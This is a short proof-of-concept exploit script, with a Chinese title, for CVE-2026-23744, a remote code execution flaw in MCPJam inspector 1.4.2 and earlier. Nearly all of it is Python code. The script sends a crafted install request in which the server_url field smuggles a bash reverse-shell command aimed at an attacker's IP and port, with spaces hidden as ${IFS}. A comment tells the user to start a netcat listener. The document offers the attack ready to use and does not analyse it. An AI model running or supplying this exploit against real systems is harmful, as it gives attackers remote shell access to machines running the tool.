CVE-2026-23744 MCPJam inspector 远程代码执行漏洞

import requests import sys # CVE-2026-23744 PoC - MCPJam inspector RCE # Target: MCPJam inspector <= 1.4.2 def exploit(target_url, attacker_ip, attacker_port): """ Exploit CVE-2026-23744 by sending a crafted HTTP request that triggers MCP server installation with RCE payload """ # Reverse shell payload payload = f"bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1" encoded_payload = payload.replace(" ", "${IFS}") # PoC: Trigger MCP server installation with malicious command exploit_url = f"{target_url}/install" headers = { 'Content-Type': 'application/json', 'User-Agent': 'MCPJam-Installer/1.4.2' } # Crafted request that exploits the RCE during MCP server installation data = { 'server_url': f"http://malicious.com/server && {encoded_payload}", 'auto_install': True, 'force': True } print(f"[*] Sending exploit payload to {exploit_url}") print(f"[*] Payload: {payload}") try: response = requests.post(exploit_url, json=data, headers=headers, timeout=10) print(f"[+] Request sent, status code: {response.status_code}") print(f"[*] Response: {response.text[:200]}") return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <attacker_ip> <attacker_port>") print(f"Example: python {sys.argv[0]} http://target.com:8080 192.168.1.100 4444") sys.exit(1) target = sys.argv[1] lhost = sys.argv[2] lport = sys.argv[3] # Start listener in another terminal: nc -lvnp 4444 exploit(target, lhost, lport)